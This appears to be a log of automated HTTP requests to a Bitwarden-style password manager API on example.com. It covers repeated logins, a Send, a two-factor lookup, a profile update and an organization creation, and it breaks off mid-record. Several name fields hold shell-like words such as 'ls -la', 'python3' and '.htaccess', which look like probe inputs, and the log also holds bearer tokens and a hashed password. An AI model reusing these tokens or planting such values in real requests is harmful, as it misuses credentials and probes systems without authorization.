{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=23865f51-21f2-49ee-856b-ef44e52c009d&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=0ca6b559-7b65-4146-9d04-0dca9d80f540&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/sends", "headers": ["Host: example.com", "Content-Length: 785", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEyODksImV4cCI6MTc5NDI4ODQ4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiIwY2E2YjU1OS03YjY1LTQxNDYtOWQwNC0wZGNhOWQ4MGY1NDAiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.CnUU2-P5TWVYHy-UbW2JAA8svc3rCak8sPn4kGdp6CoHKfNAuWz5MCLQtszd2kS7mJJXKQKEk8D8sbtOmJzZQ8yyDIi8bDM6P5-7c4XFOfRUlGQCDbVjTtKuCfR1qS9PXeyrt1mEruet4WHonZHywbUeAyIP4LcG7tDFmy8ToAMMB3njya9WNJR9jcBioISAwfziJkk97KLsiV7dTbm1i3qdDEk5GZwLxtLizmy2_nF1FLXMk1cDq6i7NOaKjQSsFYPD_V7HF_ZY4arJalO52MYcXq_M3jIQ5iOakRJK7tGnSNhnBO3xCMg7YQv_nxLMzaYWHiJNVjaTg-RYrrNJ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":0,\"name\":\"2.UG0NfZP+eYgYbFkoRW6pTQ==|hpW2x+CkS4AlevPY22zQcXyGE3s2zeJdH3mRK8hOIn8=|kXyiZb4Y18fFHeqrsMFhxuT1iCFq7i0z+G7s1/Uk/50=\",\"notes\":\"2.azdjfJs5HdF6wBOmMaPplQ==|pUwrcZiX5oj3kvlBTJnTvykJERLBTaXClAK1P5IW07caL8yCyE6kl2FQpkU5RyGK|7xrxPjMkJMSxEIdNAXHU01rL5kAPaaqMR74Z/rpywX0=\",\"maxAccessCount\":5,\"expirationDate\":\"2026-11-17T03:28:30.000Z\",\"deletionDate\":\"2026-11-17T03:28:30.000Z\",\"key\":\"2.leQijIRkDpE2rFtp0gLrQQ==|nUvLKx1yAiewP5OIcrErkZd/h4twE02xICbcFqwXKPQ=|rAX8Ax54P6URtJhssMXWRwtgDuctbvIGzPUenTYTCRw=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"text\":{\"response\":null,\"text\":\"2.GoddGA97p/EQNASon7QqIw==|0/M189+zXehpfs/w/a8EG4BBWa94rWFXk4JC3hkTQNDieslAA2csP5z4SvJf82Jj15bcYWJXEuzOgRQrAf9gEQ==|u3S4hzZTBJxeDqMYb/H2P4/ePlY0eq6SpAhxYMxQ5U4=\",\"hidden\":false}}"}
{"method": "GET", "target": "/api/sends/53749b39-757b-49c2-abd0-d9d606713e8d", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEyODksImV4cCI6MTc5NDI4ODQ4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiIwY2E2YjU1OS03YjY1LTQxNDYtOWQwNC0wZGNhOWQ4MGY1NDAiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.CnUU2-P5TWVYHy-UbW2JAA8svc3rCak8sPn4kGdp6CoHKfNAuWz5MCLQtszd2kS7mJJXKQKEk8D8sbtOmJzZQ8yyDIi8bDM6P5-7c4XFOfRUlGQCDbVjTtKuCfR1qS9PXeyrt1mEruet4WHonZHywbUeAyIP4LcG7tDFmy8ToAMMB3njya9WNJR9jcBioISAwfziJkk97KLsiV7dTbm1i3qdDEk5GZwLxtLizmy2_nF1FLXMk1cDq6i7NOaKjQSsFYPD_V7HF_ZY4arJalO52MYcXq_M3jIQ5iOakRJK7tGnSNhnBO3xCMg7YQv_nxLMzaYWHiJNVjaTg-RYrrNJ8w", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=794eb997-4a05-4e1c-8d80-e8bd7bc035c1&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/two-factor", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODEzMjksImV4cCI6MTc5NDI4ODUyOSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI3OTRlYjk5Ny00YTA1LTRlMWMtOGQ4MC1lOGJkN2JjMDM1YzEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.OWvitaQoFayAvf-uRSzSjM8uh7CyqtVrrD2GzgY6lazGHVHcTTjdTLrDAblHGw94_r1pN4jkkMjJEz7jRMmbleCe99Lz8pSQ_roCk7WxxC3IIbw4aCEORbztknrjXHhhWEghn2MvcwM3yok-i9xzRM-YUXcmSdR8Lb0bVcfCIZuVJaGIRa5Ixq_CIc-NnzVl_umwKwXe0NA8k6wdHoUW_r7DyD31szPJhcpitw_mekbDYKpm3mCwgl7WvkBy73mJlDhduZ3NHA85YmHu7I_0JgMal_CDXfnUPYfAqBwO7jOVtrvsuyyEIga-IQq68jUbSAIFmw1_2EA-jZ7qIvc1uQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=0681b06f-477d-4b4a-89ce-960167180cfc&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=bf045b02-9f2d-4510-9739-6873c279a75e&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e7f101bf-a371-40c9-b836-f28c304e7fdb&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=5585f140-74a8-4342-bcb9-66c0e36daa84&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e44207b9-d839-4088-9325-1f8b184f578a&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "PUT", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Content-Length: 41", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5NDI4ODc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlNDQyMDdiOS1kODM5LTQwODgtOTMyNS0xZjhiMTg0ZjU3OGEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.LDvv9Euto5Z0qrrWYISSEP10YCnhWXZJUO2-e6M_BTNJs0k9fRTb8ivn7GfIo38pFI2I-FJanR24YNZob21Z2RlRuLNHAc3YGhsY6M9baSHH0D1V6iX9OESIpCOyerQd3plnp05A71A4ko3eAteoXLSwDs0qj7VsxmXFOW8AY14_gR8b7jLg5LEnyeym6YmDdZ_5NyiMNgbzArJgTLA8CvTgo-LdwY1PwIGcNOHtWTokLbEaUtBItWfl1vXHybir1uUv24Tof54VR-AhQE1p2jSoNufaMoIvb1IxWSRxmHscXfviwjgmBil7OXXAkd3Xhx0cbtdXYhdjY0OX-9S4Mg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"culture\":\"en-US\",\"name\":\"Alice ls -la\"}"}
{"method": "POST", "target": "/api/organizations", "headers": ["Host: example.com", "Content-Length: 3201", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5NDI4ODc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlNDQyMDdiOS1kODM5LTQwODgtOTMyNS0xZjhiMTg0ZjU3OGEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.LDvv9Euto5Z0qrrWYISSEP10YCnhWXZJUO2-e6M_BTNJs0k9fRTb8ivn7GfIo38pFI2I-FJanR24YNZob21Z2RlRuLNHAc3YGhsY6M9baSHH0D1V6iX9OESIpCOyerQd3plnp05A71A4ko3eAteoXLSwDs0qj7VsxmXFOW8AY14_gR8b7jLg5LEnyeym6YmDdZ_5NyiMNgbzArJgTLA8CvTgo-LdwY1PwIGcNOHtWTokLbEaUtBItWfl1vXHybir1uUv24Tof54VR-AhQE1p2jSoNufaMoIvb1IxWSRxmHscXfviwjgmBil7OXXAkd3Xhx0cbtdXYhdjY0OX-9S4Mg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"python3 .htaccess team\",\"businessName\":\"\",\"billingEmail\":\"billing@example.com\",\"additionalSeats\":0,\"maxAutoscaleSeats\":0,\"additionalStorageGb\":0,\"premiumAccessAddon\":false,\"taxIdNumber\":\"\",\"billingAddressLine1\":\"\",\"billingAddressLine2\":\"\",\"billingAddressCity\":\"\",\"billingAddressState\":\"\",\"billingAddressPostalCode\":\"\",\"billingAddressCountry\":\"\",\"useSecretsManager\":false,\"additionalSmSeats\":0,\"additionalServiceAccounts\":0,\"isFromSecretsManagerTrial\":false,\"key\":\"4.WiaDWzBtYEGmiO4qG6dAi2uybE/1GPnlvKP7fnaRGZ3OkBV5nOyCGCicd+Vi65nKIDuOo3zugIZVXin7/PCfaOPtsJ61WZIago9uhS5gQ1/VTyfzS9DLK1rRhSMAs04Vn5iEp8Kg0H/yEI/ysgLVc59MSCRkyFnygeo9G4Kmk38ezUrPUoxLIET/cu36Ok/iWNu1gvv8QV33Z/5FbTNvOhsKxk5rONKbNcQ2g02wNb0jsfZs3B6d3SkF8+OQYgD3ZkZpQgLNqu1q2ekkvrV+MWYBY5N3FPv/wC27xdJ1JwLc2YN+Nb4iaKp9IEUvKFcrDgAWpwx2g4vqnvZvW6SKLg==\",\"keys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqR0hC2iYM571ZOUF35kjHF5Zdjv8Bwy/lxuvFKIWsroMDmKgvM1Zt3l2r0l95m6nlvavFysgQH4PxCgJDjFUeJHpcmS5PyGIZzRNklJZxZLSMQ6pIooDJDsZqXlyn3ymdCldPYAdCG2bDhGXbIdESP21MZr2rpLW5iyMFABErHz1sKBACQNs19pQKLKUqRu2fSf3vaS8NFCNu4t8NO8LAnYeIxes/TfBpvme55r1r0v7qLDYNSTo9nM+nzhOGTCHKaIe7Ml6eHHR/EZw2Fe7KFTAbDSeICZGDmcljB4Y3bNfBikIEKaXNl5CXPJH90fyRjjJF3UhXVRjD+cCkcFKCwIDAQAB\",\"encryptedPrivateKey\":\"2.rcwVLVJP5XmHqB4kwDRQEA==|MtlJJSTQn95c40N7kj1+QzX/FE72Me4GHMOpYwUD1nY8o0+QOTFBmFZaOlP28amA8GNrc2Qrco8JmZ/HpiYccP3abaljQ5vOakk1Bdj47q+h5/HdqOCBEV6j1dKPO6zZKqHkEJfSXo8amTWGuQ8ifG0+JlkNYtq5IiBE8+0hcrz30PwQo20JA75R2MFKDuohpokOBIB7wHVIeSMjb0MjZ0QXKw3KyKG5qYyn0ZrQA4D9WfPvIfHj+oo3PQwgwjY5aRVBCkcYj2cDYpSifpA0xJYnTbaQ0xwmn4P0HadkgbtL4azxu/J15ff5NTgcG0gzwpp5x7t87+R2a8hAzfBB1dyOyReqa0HpfFJUd7DViy/0vQl6KcPvMEoTCh8f1BAjWaNSwSnI4Oq01IwIwCtlqAU+yzJniri/eZYvD26THbBG8DPMrgWl+I9mv151s3RZWNSwhP0K9DE3dihNFupV7KoXT1ajbFj9Q46KhnDHA2cTFQXmhU0GUYtbfCXy2NoDq4YHVeSz56ADJFJjyM6XNIz3hbVeXjQrMhTOgsXhKMNHlRti4LP+a9+W5SPLCubJq2emE/CEMWqC8PviH0drSSYv8X6hgKEBRFluWV9SmzxCflbBpCWRsbT5gfsjTHgn0Hmo0QHd4hHysCawN1GRoXadqYgc4xm3LHHPkw6shzQBVFBn66t1M2hzkDVXljBuid8TxF0pB1Dyp+bnX49vv8pJthdWCRjVABe/EyOF7b4Q2Itt9vO6fSl2KacsJHegN8CStyu17Ta9qKRZbOJAR7CLaOeHuAAEaxw8FGlAIbhCCYsSr9QpsJkZUpaqKBNkkXSplIR/6mQc0yGC1LEIJuCaPsU5DEIceyra2FcVxR9a7vtYt8gIhQxN04W/TP/zLHzRWweOpf8mJMG+2+vbjPmE9taOAlIvN6uA9eCBi9lwhOoGNo+0G+etKOcd3CqfYHduCev0MH9u4esx7RmzZhCs1lmksLrXyLSDrANqVAQmIvfOSN7DQdNPL09pSAaplERIBKuhO9a8j9xFZw0suvsjfNxwhyieZ2y0/fhS2gafmB761xw4wzCnuO7yj2nbkQtJd/P0HUptqcSpXEvd9UnJ3sfFHAu2ba9Lr9q0XTzzgsnmoUQgAgkrATOol5oZKX6u33HhTIUVHHs0V8gazT1COmblM2b8kar0Hv8N8jt9iZxBv9E/P0MlUq0ubY50EZ0eXmXvQbuvsfj7/wACUi8PAb3rOtxvx7YiWdpYDkiE67ZgSuKzuFR6T3CusWks9PYCahpHK/6IzjlxD9LfatcUwzo/u2dFJ2c/j/p7k1Q9YHW2UlOPj9TiBVxZeq8D10rFnaCrUs3Qmx9fq1QxKk8pejxP8OVW4ajZ5UQJwdHLqO0UfHZ29N7QEXgNovajqlDwIhO4FEa3UW29vCRN9z9pykRh1b8NnfP+Mv5rpHC9J7pUQ08myjIc+8Lt90KBwnd4oLma6SFfZAX0wYNQHGiXCG8MHD0Qnh/UARJ3ReZnVAXxnuumQbZEYA+ByWjFR7GzTYn1OvcNx+Vo4rKXBk4uj3lTxsFAmhTFwGpBbXYX0/8M7ADTM639coIhR3L1mqXT8saBRYU/tq/rPreZLvilJciF00vQXZWUDLZujK4=|sLOYshW+CIQctHp7sTiL/hojcWMgoOg97a4CPewOhdI=\"},\"collectionName\":\"2.KEZRLg9IaGzmiSG1GOV7Ag==|/kueCAS2suT20oQ3Aj1o/Z+G6ak/0xDcAXMN/JI+s2U=|5yvg76dyL9BfzROgnRsZP5PoUEB55HtfJFR/9J2X9AI=\",\"paymentToken\":\"\",\"initiationPath\":\"New organizLine truncated
